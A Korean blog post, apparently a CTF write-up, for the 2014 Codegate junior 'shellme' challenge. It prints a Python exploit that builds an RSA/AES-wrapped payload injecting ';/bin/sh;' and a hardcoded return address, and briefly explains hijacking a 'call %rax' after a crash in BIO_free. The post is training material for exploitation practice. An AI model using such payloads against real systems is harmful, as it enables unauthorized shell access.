2014 codegate junior shellme

CTF 2015. 4. 5. 13:42

root@ubuntu:~/k# cat a.py

import rsa,subprocess

import b,c

import hashlib

import windowhan

from Crypto.PublicKey import RSA

from Crypto.Cipher import PKCS1_OAEP, AES

from struct import pack

p = lambda x : pack('<L', x)



aes_key = "2"*16

aes_iv = "\x01"*16

data = "abcdddgs" + "\x00"*8

aes_mode = AES.MODE_CBC

aes_= AES.new(aes_key,aes_mode,IV=aes_iv)

aes_data = aes_.encrypt(data)


message = "\x1f\x8b\x08\x00"

message += aes_key

message += hashlib.sha256(aes_data + "\x00"*(0x700-len(aes_data))).digest()

message += "a" *11

message += ";/bin/sh;"

message += p(0x4017df)


encrypt_data = ""

rsa = c


encrypt_data = rsa.encrypt(message)

message = encrypt_data + aes_data + "\x00"*(0x700-len(aes_data))

print message + "a"*(1900-len(message))



일단 저기서 요구하는대로 조건을 맞춰서 모두 통과시켰다.
그리고 해매던중

이런 부분을 보았고,


이부분을 보았다.


plaintext에 chipertext를 복호화한게 들어가고 free해주는 과정에서 취약점이 발생할거같았다.

시도하던 중 BIO_Free 함수에서 SIGSEGV가 나길래 gdb로 디버깅해보았고,


call %rax라는 구문과 rdi를 내맘대로 조작할 수 있어서 풀었다.

RSA pkcs #1  때문에 시간을 많이잡아먹었다




'CTF' 카테고리의 다른 글

ASIS 2015 fake  (0) 2015.11.13
2015 bostonkeyparty havard  (0) 2015.03.10
2015 nullcon 400  (0) 2015.01.28
2015 Nullcon exploitation 300  (0) 2015.01.19
[HISCHALL 2013] BAAASIC GNIREENIGNE  (0) 2014.02.25
Posted by windowhan
,